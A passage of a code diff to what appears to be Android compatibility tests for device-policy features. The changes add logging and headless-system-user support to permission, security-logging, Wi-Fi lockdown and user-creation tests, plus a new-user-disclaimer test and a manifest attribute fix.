+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PermissionsTest.java
@@ -34,8 +34,11 @@
 import android.Manifest.permission;
 import android.app.UiAutomation;
 import android.app.admin.DevicePolicyManager;
+import android.content.Context;
 import android.content.IntentFilter;
 import android.os.Process;
+import android.os.UserHandle;
+import android.os.UserManager;
 import android.support.test.uiautomator.By;
 import android.support.test.uiautomator.BySelector;
 import android.support.test.uiautomator.UiDevice;
@@ -238,27 +241,43 @@
 
     private void assertCanSetPermissionGrantStatePreMApp(String permission, int value)
             throws Exception {
-        assertTrue(mDevicePolicyManager.setPermissionGrantState(ADMIN_RECEIVER_COMPONENT,
-                PRE_M_APP_PACKAGE_NAME, permission, value));
-        assertEquals(mDevicePolicyManager.getPermissionGrantState(ADMIN_RECEIVER_COMPONENT,
-                PRE_M_APP_PACKAGE_NAME, permission), value);
+        Log.d(TAG, "Calling " + mDevicePolicyManager + ".setPermissionGrantState("
+                + PRE_M_APP_PACKAGE_NAME + ", " + permission + ", "
+                + permissionGrantStateToString(value) + ")");
+        boolean result = mDevicePolicyManager.setPermissionGrantState(ADMIN_RECEIVER_COMPONENT,
+                PRE_M_APP_PACKAGE_NAME, permission, value);
+        Log.d(TAG, "Result: " + result);
+
+        assertWithMessage("%s.setPermissionGrantState(%s, %s, %s)", mDevicePolicyManager,
+                ADMIN_RECEIVER_COMPONENT, PRE_M_APP_PACKAGE_NAME,
+                permissionGrantStateToString(value)).that(result).isTrue();
+
+        assertPermissionGrantState(mDevicePolicyManager, PRE_M_APP_PACKAGE_NAME, permission, value);
+
+        Context context = mContext;
+        if (mIsDeviceOwnerTest && UserManager.isHeadlessSystemUserMode()) {
+            Log.d(TAG, "Using context for system user on device owner test because device uses "
+                    + "headless system user mode");
+            context = mContext.createContextAsUser(UserHandle.SYSTEM, /* flags= */ 0);
+        }
 
         // Install time permissions should always be granted
-        PermissionUtils.checkPermission(permission, PERMISSION_GRANTED, PRE_M_APP_PACKAGE_NAME);
+        PermissionUtils.checkPermission(context, permission, PERMISSION_GRANTED,
+                PRE_M_APP_PACKAGE_NAME);
 
         // For pre-M apps the access to the data might be prevented via app-ops. Hence check that
         // they are correctly set
         switch (value) {
             case PERMISSION_GRANT_STATE_GRANTED:
-                PermissionUtils.checkPermissionAndAppOps(permission, PERMISSION_GRANTED,
+                PermissionUtils.checkPermissionAndAppOps(context, permission, PERMISSION_GRANTED,
                         PRE_M_APP_PACKAGE_NAME);
                 break;
             case PERMISSION_GRANT_STATE_DENIED:
-                PermissionUtils.checkPermissionAndAppOps(permission, PERMISSION_DENIED,
+                PermissionUtils.checkPermissionAndAppOps(context, permission, PERMISSION_DENIED,
                         PRE_M_APP_PACKAGE_NAME);
                 break;
             default:
-                fail("unsupported policy value");
+                fail("unsupported policy value (" + value + ")");
         }
     }
 
@@ -438,9 +457,10 @@
             int grantState) {
         boolean result = dpm.setPermissionGrantState(ADMIN_RECEIVER_COMPONENT,
                 PERMISSION_APP_PACKAGE_NAME, permission, grantState);
-        Log.d(TAG, "setPermissionGrantState(" + permission + "): requested " + grantState + " ("
-                + permissionGrantStateToString(grantState) + ") using DPM " + mDevicePolicyManager
-                + " on uid " + Process.myUid() + ", got " + result);
+        Log.d(TAG, "setPermissionGrantState(" + PERMISSION_APP_PACKAGE_NAME + ", " + permission
+                + "): requested " + grantState + " (" + permissionGrantStateToString(grantState)
+                + ") using DPM " + mDevicePolicyManager + " on uid " + Process.myUid()
+                + ", got " + result);
         return result;
     }
 
@@ -450,12 +470,17 @@
 
     private void assertPermissionGrantState(DevicePolicyManager dpm, String permission,
             int expectedState) {
+        assertPermissionGrantState(dpm, PERMISSION_APP_PACKAGE_NAME, permission, expectedState);
+    }
+
+    private void assertPermissionGrantState(DevicePolicyManager dpm, String packageName,
+            String permission, int expectedState) {
         int actualState = dpm.getPermissionGrantState(ADMIN_RECEIVER_COMPONENT,
-                PERMISSION_APP_PACKAGE_NAME, permission);
+                packageName, permission);
 
         assertWithMessage("%s.getPermissionGrantState(%s, %s, %s) (where %s=%s and %s=%s)",
-                mDevicePolicyManager, ADMIN_RECEIVER_COMPONENT, PERMISSION_APP_PACKAGE_NAME,
-                permission, expectedState, permissionGrantStateToString(expectedState),
+                mDevicePolicyManager, ADMIN_RECEIVER_COMPONENT, packageName, permission,
+                expectedState, permissionGrantStateToString(expectedState),
                 actualState, permissionGrantStateToString(actualState))
                         .that(actualState)
                         .isEqualTo(expectedState);
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SecurityLoggingTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SecurityLoggingTest.java
index db28c24..d8fd8df 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SecurityLoggingTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SecurityLoggingTest.java
@@ -491,14 +491,24 @@
         return findEvent(description, events, e -> e.getTag() == tag);
     }
 
+    private List<SecurityEvent> findEvents(List<SecurityEvent> events,
+            Predicate<SecurityEvent> predicate) {
+        return events.stream().filter(predicate).collect(Collectors.toList());
+    }
+
     private SecurityEvent findEvent(String description, List<SecurityEvent> events,
             Predicate<SecurityEvent> predicate) {
-        final List<SecurityEvent> matches =
-                events.stream().filter(predicate).collect(Collectors.toList());
+        final List<SecurityEvent> matches = findEvents(events, predicate);
         assertEquals("Invalid number of matching events: " + description, 1, matches.size());
         return matches.get(0);
     }
 
+    private void assertNumberEvents(String description, List<SecurityEvent> events,
+            Predicate<SecurityEvent> predicate, int expectedSize) {
+        assertEquals("Invalid number of matching events: " + description, expectedSize,
+                findEvents(events, predicate).size());
+    }
+
     private static Object getDatum(SecurityEvent event, int index) {
         final Object[] dataArray = (Object[]) event.getData();
         return dataArray[index];
@@ -679,21 +689,21 @@
         // The order should be consistent with the order in generatePasswordComplexityEvents(), so
         // that the expected values change in the same sequence as when setting password policies.
         expectedPayload[PWD_QUALITY_INDEX] = PASSWORD_QUALITY_COMPLEX;
-        findPasswordComplexityEvent("set pwd quality", events, expectedPayload);
+        assertPasswordComplexityEvent("set pwd quality", events, expectedPayload);
         expectedPayload[PWD_LEN_INDEX] = TEST_PWD_LENGTH;
-        findPasswordComplexityEvent("set pwd length", events, expectedPayload);
+        assertPasswordComplexityEvent("set pwd length", events, expectedPayload);
         expectedPayload[LETTERS_INDEX] = TEST_PWD_CHARS;
-        findPasswordComplexityEvent("set pwd min letters", events, expectedPayload);
+        assertPasswordComplexityEvent("set pwd min letters", events, expectedPayload);
         expectedPayload[NON_LETTERS_INDEX] = TEST_PWD_CHARS;
-        findPasswordComplexityEvent("set pwd min non-letters", events, expectedPayload);
+        assertPasswordComplexityEvent("set pwd min non-letters", events, expectedPayload);
         expectedPayload[UPPERCASE_INDEX] = TEST_PWD_CHARS;
-        findPasswordComplexityEvent("set pwd min uppercase", events, expectedPayload);
+        assertPasswordComplexityEvent("set pwd min uppercase", events, expectedPayload);
         expectedPayload[LOWERCASE_INDEX] = TEST_PWD_CHARS;
-        findPasswordComplexityEvent("set pwd min lowercase", events, expectedPayload);
+        assertPasswordComplexityEvent("set pwd min lowercase", events, expectedPayload);
         expectedPayload[NUMERIC_INDEX] = TEST_PWD_CHARS;
-        findPasswordComplexityEvent("set pwd min numeric", events, expectedPayload);
+        assertPasswordComplexityEvent("set pwd min numeric", events, expectedPayload);
         expectedPayload[SYMBOLS_INDEX] = TEST_PWD_CHARS;
-        findPasswordComplexityEvent("set pwd min symbols", events, expectedPayload);
+        assertPasswordComplexityEvent("set pwd min symbols", events, expectedPayload);
     }
 
     private void verifyNewStylePasswordComplexityEventPresent(List<SecurityEvent> events) {
@@ -769,10 +779,11 @@
                         getInt(e, ADMIN_USER_INDEX) == userId);
     }
 
-    private void findPasswordComplexityEvent(
+    private void assertPasswordComplexityEvent(
             String description, List<SecurityEvent> events, Object[] expectedPayload) {
-        findEvent(description, events,
-                byTagAndPayload(TAG_PASSWORD_COMPLEXITY_SET, expectedPayload));
+        int expectedSize = mIsAutomotive ? 0 : 1;
+        assertNumberEvents(description, events,
+                byTagAndPayload(TAG_PASSWORD_COMPLEXITY_SET, expectedPayload), expectedSize);
     }
 
     private void findNewStylePasswordComplexityEvent(
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BaseDeviceOwnerTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BaseDeviceOwnerTest.java
index 5f8766e..acbfb08 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BaseDeviceOwnerTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BaseDeviceOwnerTest.java
@@ -52,6 +52,7 @@
 
     protected DevicePolicyManager mDevicePolicyManager;
     protected WifiManager mWifiManager;
+    protected WifiManager mCurrentUserWifiManager;
     protected WifiConfigCreator mWifiConfigCreator;
     protected Instrumentation mInstrumentation;
     protected UiDevice mDevice;
@@ -75,15 +76,8 @@
                 BasicAdminReceiver.class, /* forDeviceOwner= */ true);
         mWifiManager = TestAppSystemServiceFactory.getWifiManager(mContext,
                 BasicAdminReceiver.class);
-        WifiManager currentUserWifiManager = mContext.getSystemService(WifiManager.class);
-        mWifiConfigCreator = new WifiConfigCreator(mContext, mWifiManager) {
-            @Override
-            public List<WifiConfiguration> getConfiguredNetworks() {
-                // Must always use the current user's wifi manager, otherwise it would fail on
-                // headless system user (as the device owner is not the current user).
-                return currentUserWifiManager.getConfiguredNetworks();
-            }
-        };
+        mCurrentUserWifiManager = mContext.getSystemService(WifiManager.class);
+        mWifiConfigCreator = new WifiConfigCreator(mContext, mWifiManager);
 
         mHasSecureLockScreen = mContext.getPackageManager().hasSystemFeature(
                 PackageManager.FEATURE_SECURE_LOCK_SCREEN);
@@ -127,4 +121,12 @@
     protected final UserHandle getCurrentUser() {
         return UserHandle.of(ActivityManager.getCurrentUser());
     }
+
+    protected final List<WifiConfiguration> getConfiguredNetworks() {
+        // Must use a the WifiManager of the current user to list networks, as
+        // getConfiguredNetworks() would return empty on systems using headless system
+        // mode as that method "Return a list of all the networks configured for the current
+        // foreground user", and the system user is running in the background in this case.
+        return mCurrentUserWifiManager.getConfiguredNetworks();
+    }
 }
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/CreateAndManageUserTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/CreateAndManageUserTest.java
index 32cc187..4f98568 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/CreateAndManageUserTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/CreateAndManageUserTest.java
@@ -32,6 +32,7 @@
 import android.os.IBinder;
 import android.os.PersistableBundle;
 import android.os.RemoteException;
+import android.os.SystemClock;
 import android.os.UserHandle;
 import android.os.UserManager;
 import android.provider.Settings;
@@ -199,6 +200,63 @@
                 .containsExactly(userHandle, userHandle);
     }
 
+    public void testCreateAndManageUser_newUserDisclaimer() throws Exception {
+        // First check that the current user doesn't need it
+        UserHandle currentUser = getCurrentUser();
+        Log.d(TAG, "Checking if current user (" + currentUser + ") is acked");
+        assertWithMessage("isNewUserDisclaimerAcknowledged() for current user %s", currentUser)
+                .that(mDevicePolicyManager.isNewUserDisclaimerAcknowledged()).isTrue();
+
+        UserHandle newUser = runCrossUserVerificationSwitchingUser("newUserDisclaimer");
+        PrimaryUserService.assertCrossUserCallArrived();
+    }
+
+    @SuppressWarnings("unused")
+    private static void newUserDisclaimer(Context context, DevicePolicyManager dpm,
+            ComponentName componentName) {
+
+        // Need to wait until host-side granted INTERACT_ACROSS_USERS - use getCurrentUser() to
+        // check
+        int currentUserId = UserHandle.USER_NULL;
+        long maxAttempts = ON_ENABLED_TIMEOUT_SECONDS;
+        int waitingTimeMs = 1_000;
+        int attempt = 0;
+        int myUserId = context.getUserId();
+        do {
+            attempt++;
+            try {
+                Log.d(TAG, "checking if user " + myUserId + " is current user");
+                currentUserId = ActivityManager.getCurrentUser();
+                Log.d(TAG, "currentUserId: " + currentUserId);
+            } catch (SecurityException e) {
+                Log.d(TAG, "Got exception (" + e.getMessage() + ") on attempt #" + attempt
+                        + ", waiting " + waitingTimeMs + "ms until app is authorized");
+                SystemClock.sleep(waitingTimeMs);
+
+            }
+        } while (currentUserId != myUserId && attempt < maxAttempts);
+        Log.v(TAG, "Out of the loop, let's hope for the best...");
+
+        if (currentUserId == UserHandle.USER_NULL) {
+            throw new IllegalStateException("App could was not authorized to check current user");
+        }
+        assertWithMessage("current user").that(currentUserId).isEqualTo(myUserId);
+
+        // Now that the plumbing is done, go back to work...
+        Log.d(TAG, "Calling isNewUserDisclaimerAcknowledged()");
+        boolean isAcked = dpm.isNewUserDisclaimerAcknowledged();
+
+        Log.d(TAG, "is it: " + isAcked);
+        assertWithMessage("isNewUserDisclaimerAcknowledged()").that(isAcked).isFalse();
+        Log.d(TAG, "Calling acknowledgeNewUserDisclaimer()");
+        dpm.acknowledgeNewUserDisclaimer();
+
+        Log.d(TAG, "Calling isNewUserDisclaimerAcknowledged() again");
+        isAcked = dpm.isNewUserDisclaimerAcknowledged();
+        Log.d(TAG, "is it now: " + isAcked);
+        assertWithMessage("isNewUserDisclaimerAcknowledged()").that(isAcked).isTrue();
+    }
+
     @SuppressWarnings("unused")
     private static void assertAffiliatedUser(Context context,
             DevicePolicyManager devicePolicyManager, ComponentName componentName) {
@@ -291,6 +349,17 @@
     private UserHandle runCrossUserVerification(UserActionCallback callback,
             int createAndManageUserFlags, String methodName,
             Set<String> currentUserPackages) throws Exception {
+        return runCrossUserVerification(callback, createAndManageUserFlags, methodName,
+                /* switchUser= */ false, currentUserPackages);
+    }
+    private UserHandle runCrossUserVerificationSwitchingUser(String methodName) throws Exception {
+        return runCrossUserVerification(/* callback= */ null, /* createAndManageUserFlags= */ 0,
+                methodName, /* switchUser= */ true, /* currentUserPackages= */ null);
+    }
+
+    private UserHandle runCrossUserVerification(UserActionCallback callback,
+            int createAndManageUserFlags, String methodName, boolean switchUser,
+            Set<String> currentUserPackages) throws Exception {
         Log.d(TAG, "runCrossUserVerification(): flags=" + createAndManageUserFlags
                 + ", method=" + methodName);
         String testUserName = "TestUser_" + System.currentTimeMillis();
@@ -313,7 +382,9 @@
         Log.d(TAG, "creating user with PO " + profileOwner);
 
         UserHandle userHandle = createAndManageUser(profileOwner, bundle, createAndManageUserFlags);
-        if (callback != null) {
+        if (switchUser) {
+            switchUserAndWaitForBroadcasts(userHandle);
+        } else if (callback != null) {
             startUserInBackgroundAndWaitForBroadcasts(callback, userHandle);
         } else {
             startUserInBackgroundAndWaitForBroadcasts(userHandle);
@@ -474,7 +545,7 @@
 
     public static final class PrimaryUserService extends Service {
         private static final Semaphore sSemaphore = new Semaphore(0);
-        private static String sError = null;
+        private static String sError;
 
         private final ICrossUserService.Stub mBinder = new ICrossUserService.Stub() {
             public void onEnabledCalled(String error) {
@@ -493,6 +564,8 @@
         }
 
         static void assertCrossUserCallArrived() throws Exception {
+            Log.v(TAG, "assertCrossUserCallArrived(): waiting " + ON_ENABLED_TIMEOUT_SECONDS
+                    + " seconds for callback");
             assertWithMessage("cross-user call arrived in %ss", ON_ENABLED_TIMEOUT_SECONDS)
                     .that(sSemaphore.tryAcquire(ON_ENABLED_TIMEOUT_SECONDS, TimeUnit.SECONDS))
                     .isTrue();
@@ -504,11 +577,10 @@
     }
 
     public static final class SecondaryUserAdminReceiver extends DeviceAdminReceiver {
-
         @Override
         public void onEnabled(Context context, Intent intent) {
             Log.d(TAG, "SecondaryUserAdminReceiver.onEnabled() called on user "
-                    + context.getUserId());
+                    + context.getUserId() + " and thread " + Thread.currentThread());
 
             DevicePolicyManager dpm = context.getSystemService(DevicePolicyManager.class);
             ComponentName who = getComponentName(context);
@@ -547,9 +619,13 @@
             } catch (InvocationTargetException e) {
                 error = e.getCause().toString();
             }
+            if (error != null) {
+                Log.e(TAG, "Error calling method: " + error);
+            }
 
             // Call all affiliated users
             final List<UserHandle> targetUsers = dpm.getBindDeviceAdminTargetUsers(who);
+            Log.d(TAG, "target users: " + targetUsers);
             assertWithMessage("target users").that(targetUsers).hasSize(1);
 
             pingTargetUser(context, dpm, targetUsers.get(0), error);
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/WifiConfigLockdownTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/WifiConfigLockdownTest.java
index 89a7b29..d8cb848 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/WifiConfigLockdownTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/WifiConfigLockdownTest.java
@@ -30,6 +30,7 @@
 
 import android.content.Intent;
 import android.net.wifi.WifiConfiguration;
+import android.os.Process;
 import android.provider.Settings;
 import android.util.Log;
 
@@ -54,6 +55,12 @@
                 Settings.Global.WIFI_DEVICE_OWNER_CONFIGS_LOCKDOWN, "1");
         mWifiConfigCreator.addNetwork(ORIGINAL_DEVICE_OWNER_SSID, true, SECURITY_TYPE_WPA,
                 ORIGINAL_PASSWORD);
+
+        Log.d(TAG, "setUp: user=" + Process.myUserHandle() + ", creator=" + mWifiConfigCreator
+                + ", dpm=" + mDevicePolicyManager + ", wifiMgr=" + mWifiManager
+                + ", mCurrentUserWifiManager= " + mCurrentUserWifiManager);
+        logConfigs("setup()", getConfiguredNetworks());
+
         startRegularActivity(ACTION_CREATE_WIFI_CONFIG, -1, ORIGINAL_REGULAR_SSID,
                 SECURITY_TYPE_WPA, ORIGINAL_PASSWORD);
     }
@@ -62,7 +69,7 @@
     protected void tearDown() throws Exception {
         mDevicePolicyManager.setGlobalSetting(getWho(),
                 Settings.Global.WIFI_DEVICE_OWNER_CONFIGS_LOCKDOWN, "0");
-        List<WifiConfiguration> configs = mWifiConfigCreator.getConfiguredNetworks();
+        List<WifiConfiguration> configs = getConfiguredNetworks();
         logConfigs("tearDown()", configs);
         for (WifiConfiguration config : configs) {
             if (areMatchingSsids(ORIGINAL_DEVICE_OWNER_SSID, config.SSID) ||
@@ -77,7 +84,7 @@
     }
 
     public void testDeviceOwnerCanUpdateConfig() throws Exception {
-        List<WifiConfiguration> configs = mWifiConfigCreator.getConfiguredNetworks();
+        List<WifiConfiguration> configs = getConfiguredNetworks();
         logConfigs("testDeviceOwnerCanUpdateConfig()", configs);
         int updateCount = 0;
         for (WifiConfiguration config : configs) {
@@ -105,7 +112,8 @@
     }
 
     public void testDeviceOwnerCanRemoveConfig() throws Exception {
-        List<WifiConfiguration> configs = mWifiManager.getConfiguredNetworks();
+        List<WifiConfiguration> configs = getConfiguredNetworks();
+        logConfigs("testDeviceOwnerCanRemoveConfig()", configs);
         int removeCount = 0;
         for (WifiConfiguration config : configs) {
             if (areMatchingSsids(ORIGINAL_DEVICE_OWNER_SSID, config.SSID)
@@ -114,20 +122,26 @@
                 // config, and they are auto-removed when the corresponding config is removed.
                 // Recheck every config against the latest list of wifi configurations and skip
                 // those which is already auto-removed.
-                if (mWifiManager.getConfiguredNetworks().stream()
-                        .noneMatch(c -> c.networkId == config.networkId)) continue;
-
-                assertWithMessage("mWifiManager.removeNetwork(%s)", config.networkId)
+                Log.d(TAG, "Checking if SSID " + config.SSID + " / id " + config.networkId
+                        + " should be removed");
+                if (getConfiguredNetworks().stream()
+                        .noneMatch(c -> c.networkId == config.networkId)) {
+                    Log.d(TAG, "Skipping it");
+                    continue;
+                }
+                Log.d(TAG, "Removing using " + mWifiManager);
+                assertWithMessage("removeNetwork(%s)", config.networkId)
                         .that(mWifiManager.removeNetwork(config.networkId)).isTrue();
                 ++removeCount;
             }
         }
+        logConfigs("After removing " + removeCount, configs);
         assertWithMessage("number of removed configs (the DO created one and the regular one)")
                 .that(removeCount).isEqualTo(2);
     }
 
     public void testRegularAppCannotUpdateDeviceOwnerConfig() throws Exception {
-        List<WifiConfiguration> configs = mWifiConfigCreator.getConfiguredNetworks();
+        List<WifiConfiguration> configs = getConfiguredNetworks();
         logConfigs("testRegularAppCannotUpdateDeviceOwnerConfig()", configs);
         int updateCount = 0;
         for (WifiConfiguration config : configs) {
@@ -143,7 +157,7 @@
                 .that(updateCount).isAtLeast(1);
 
         // Assert nothing has changed
-        configs = mWifiConfigCreator.getConfiguredNetworks();
+        configs = getConfiguredNetworks();
         int notChangedCount = 0;
         for (WifiConfiguration config : configs) {
             Log.d(TAG, "testRegularAppCannotUpdateDeviceOwnerConfig(): testing " + config.SSID);
@@ -158,7 +172,7 @@
     }
 
     public void testRegularAppCannotRemoveDeviceOwnerConfig() throws Exception {
-        List<WifiConfiguration> configs = mWifiConfigCreator.getConfiguredNetworks();
+        List<WifiConfiguration> configs = getConfiguredNetworks();
         logConfigs("testRegularAppCannotUpdateDeviceOwnerConfig()", configs);
         int removeCount = 0;
         for (WifiConfiguration config : configs) {
@@ -175,7 +189,7 @@
                 .that(removeCount).isAtLeast(1);
 
         // Assert nothing has changed
-        configs = mWifiConfigCreator.getConfiguredNetworks();
+        configs = getConfiguredNetworks();
         int notChangedCount = 0;
         for (WifiConfiguration config : configs) {
             Log.d(TAG, "testRegularAppCannotRemoveDeviceOwnerConfig(): testing " + config.SSID);
@@ -216,6 +230,7 @@
             return;
         }
         Log.d(TAG, prefix + ": " + configs.size() + " configs: "
-                + configs.stream().map((c) -> c.SSID).collect(Collectors.toList()));
+                + configs.stream().map((c) -> c.SSID + "/" + c.networkId)
+                        .collect(Collectors.toList()));
     }
 }
diff --git a/hostsidetests/devicepolicy/app/SimpleApp/AndroidManifest.xml b/hostsidetests/devicepolicy/app/SimpleApp/AndroidManifest.xml
index d79c22c..a543c0a 100644
--- a/hostsidetests/devicepolicy/app/SimpleApp/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/SimpleApp/AndroidManifest.xml
@@ -30,11 +30,11 @@
                 <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
-        <activity android:name=".NonExportedActivity">
-                        android:exported=&quot;false&quot;&gt;
+        <activity android:name=".NonExportedActivity"
+             android:exported="false">
         </activity>
-        <activity android:name=".NonLauncherActivity">
-                        android:exported=&quot;true&quot;&gt;
+        <activity android:name=".NonLauncherActivity"
+             android:exported="true">
         </activity>
         <activity android:name=".SimpleActivityStartService"
              android:turnScreenOn="true"
diff --git a/hostsidetests/devicepolicy/app/WifiConfigCreator/src/com/android/cts/deviceowner/wificonfigcreator/WifiConfigCreatorActivity.java b/hostsidetests/devicepolicy/app/WifiConfigCreator/src/com/android/cts/deviceowner/wificonfigcreator/WifiConfigCreatorActivity.java
index 32d53d1..c23ee9c 100644
--- a/hostsidetests/devicepolicy/app/WifiConfigCreator/src/com/android/cts/deviceowner/wificonfigcreator/WifiConfigCreatorActivity.java
+++ b/hostsidetests/devicepolicy/app/WifiConfigCreator/src/com/android/cts/deviceowner/wificonfigcreator/WifiConfigCreatorActivity.java
@@ -16,32 +16,34 @@
 
 package com.android.cts.deviceowner.wificonfigcreator;
 
+import static com.android.compatibility.common.util.WifiConfigCreator.ACTION_CREATE_WIFI_CONFIG;
+import static com.android.compatibility.common.util.WifiConfigCreator.ACTION_REMOVE_WIFI_CONFIG;
+import static com.android.compatibility.common.util.WifiConfigCreator.ACTION_UPDATE_WIFI_CONFIG;
+import static com.android.compatibility.common.util.WifiConfigCreator.EXTRA_NETID;
+import static com.android.compatibility.common.util.WifiConfigCreator.EXTRA_PASSWORD;
+import static com.android.compatibility.common.util.WifiConfigCreator.EXTRA_SECURITY_TYPE;
+import static com.android.compatibility.common.util.WifiConfigCreator.EXTRA_SSID;
+import static com.android.compatibility.common.util.WifiConfigCreator.SECURITY_TYPE_NONE;
+
 import android.app.Activity;
 import android.content.Intent;
 import android.os.Bundle;
 import android.util.Log;
 
 import com.android.compatibility.common.util.WifiConfigCreator;
-import static com.android.compatibility.common.util.WifiConfigCreator.ACTION_CREATE_WIFI_CONFIG;
-import static com.android.compatibility.common.util.WifiConfigCreator.EXTRA_NETID;
-import static com.android.compatibility.common.util.WifiConfigCreator.EXTRA_PASSWORD;
-import static com.android.compatibility.common.util.WifiConfigCreator.EXTRA_SECURITY_TYPE;
-import static com.android.compatibility.common.util.WifiConfigCreator.EXTRA_SSID;
-import static com.android.compatibility.common.util.WifiConfigCreator.ACTION_REMOVE_WIFI_CONFIG;
-import static com.android.compatibility.common.util.WifiConfigCreator.SECURITY_TYPE_NONE;
-import static com.android.compatibility.common.util.WifiConfigCreator.ACTION_UPDATE_WIFI_CONFIG;
 
 /**
  * A simple activity to create and manage wifi configurations.
  */
-public class WifiConfigCreatorActivity extends Activity {
+public final class WifiConfigCreatorActivity extends Activity {
     private static final String TAG = "WifiConfigCreatorActivity";
 
     @Override
     public void onCreate(Bundle icicle) {
         super.onCreate(icicle);
-        Log.i(TAG, "Created for user " + android.os.Process.myUserHandle());
         WifiConfigCreator configCreator = new WifiConfigCreator(this);
+        Log.i(TAG, "onCreate(): user=" + android.os.Process.myUserHandle() + " creator="
+                + configCreator);
         try {
             Intent intent = getIntent();
             String action = intent.getAction();
@@ -49,12 +51,15 @@
                 String ssid = intent.getStringExtra(EXTRA_SSID);
                 int securityType = intent.getIntExtra(EXTRA_SECURITY_TYPE, SECURITY_TYPE_NONE);
                 String password = intent.getStringExtra(EXTRA_PASSWORD);
-                configCreator.addNetwork(ssid, false, securityType, password);
+                Log.d(TAG, "Creating network " + ssid);
+                int netId = configCreator.addNetwork(ssid, false, securityType, password);
+                Log.d(TAG, "new id : " + netId);
             } else if (ACTION_UPDATE_WIFI_CONFIG.equals(action)) {
                 int netId = intent.getIntExtra(EXTRA_NETID, -1);
                 String ssid = intent.getStringExtra(EXTRA_SSID);
                 int securityType = intent.getIntExtra(EXTRA_SECURITY_TYPE, SECURITY_TYPE_NONE);
                 String password = intent.getStringExtra(EXTRA_PASSWORD);
+                Log.d(TAG, "Updating network " + ssid + " (id " + netId + ")");
                 configCreator.updateNetwork(netId, ssid, false, securityType, password);
             } else if (ACTION_REMOVE_WIFI_CONFIG.equals(action)) {
                 int netId = intent.getIntExtra(EXTRA_NETID, -1);
@@ -65,6 +70,7 @@
                 Log.i(TAG, "Unknown command: " + action);
             }
         } catch (InterruptedException ie) {
+            Thread.currentThread().interrupt();
             Log.e(TAG, "Interrupted while changing wifi settings", ie);
         } finally {
             finish();
diff --git a/hostsidetests/devicepolicy/app/common/src/com/android/cts/devicepolicy/PermissionUtils.java b/hostsidetests/devicepolicy/app/common/src/com/android/cts/devicepolicy/PermissionUtils.java
index dc32c9a..e6b3e1e 100644
--- a/hostsidetests/devicepolicy/app/common/src/com/android/cts/devicepolicy/PermissionUtils.java
+++ b/hostsidetests/devicepolicy/app/common/src/com/android/cts/devicepolicy/PermissionUtils.java
@@ -137,34 +137,54 @@
     }
 
     public static void checkPermission(String permission, int expected, String packageName) {
-        assertPermission(permission, packageName, getContext().getPackageManager()
-                .checkPermission(permission, packageName), expected);
+        checkPermission(getContext(), permission, expected, packageName);
+    }
+
+    public static void checkPermission(Context context, String permission, int expected,
+            String packageName) {
+        PackageManager pm = context.getPackageManager();
+        Log.d(LOG_TAG, "checkPermission(" + permission + ", " + expected + ", " + packageName
+                + "): " + "using " + pm + " on user " + context.getUser());
+        assertPermission(permission, packageName, pm.checkPermission(permission, packageName),
+                expected);
     }
 
     private static void assertPermission(String permission, String packageName, int actual,
             int expected) {
-        assertWithMessage("Wrong status for permission %s on package %s", permission, packageName)
-                .that(actual).isEqualTo(expected);
+        assertWithMessage("Wrong status for permission %s on package %s (where %s=%s and %s=%s)",
+                permission, packageName,
+                expected, permissionToString(expected), actual, permissionToString(actual))
+                        .that(actual).isEqualTo(expected);
     }
 
     /**
-     * Correctly check a runtime permission. This also works for pre-m apps.
+     * Correctly checks a runtime permission. This also works for pre-{@code M} apps.
      */
     public static void checkPermissionAndAppOps(String permission, int expected, String packageName)
             throws Exception {
-        assertPermission(permission, packageName, checkPermissionAndAppOps(permission, packageName),
-                expected);
+        checkPermissionAndAppOps(getContext(), permission, expected, packageName);
     }
 
-    private static int checkPermissionAndAppOps(String permission, String packageName)
-            throws Exception {
-        PackageInfo packageInfo = getContext().getPackageManager().getPackageInfo(packageName, 0);
-        if (getContext().checkPermission(permission, -1, packageInfo.applicationInfo.uid)
+    /**
+     * Correctly checks a runtime permission. This also works for pre-{@code M} apps.
+     */
+    public static void checkPermissionAndAppOps(Context context, String permission, int expected,
+            String packageName) throws Exception {
+        assertPermission(permission, packageName,
+                checkPermissionAndAppOps(context, permission, packageName), expected);
+    }
+
+    private static int checkPermissionAndAppOps(Context context, String permission,
+            String packageName) throws Exception {
+        Log.d(LOG_TAG, "checkPermissionAndAppOps(): user=" + context.getUser()
+                + ", permission=" + permission + ", packageName=" + packageName);
+        PackageInfo packageInfo = context.getPackageManager().getPackageInfo(packageName, 0);
+        if (context.checkPermission(permission, -1, packageInfo.applicationInfo.uid)
                 == PERMISSION_DENIED) {
             return PERMISSION_DENIED;
         }
 
-        AppOpsManager appOpsManager = getContext().getSystemService(AppOpsManager.class);
+        AppOpsManager appOpsManager = context.getSystemService(AppOpsManager.class);
         if (appOpsManager != null && appOpsManager.noteProxyOpNoThrow(
                 AppOpsManager.permissionToOp(permission), packageName,
                 packageInfo.applicationInfo.uid, null, null)
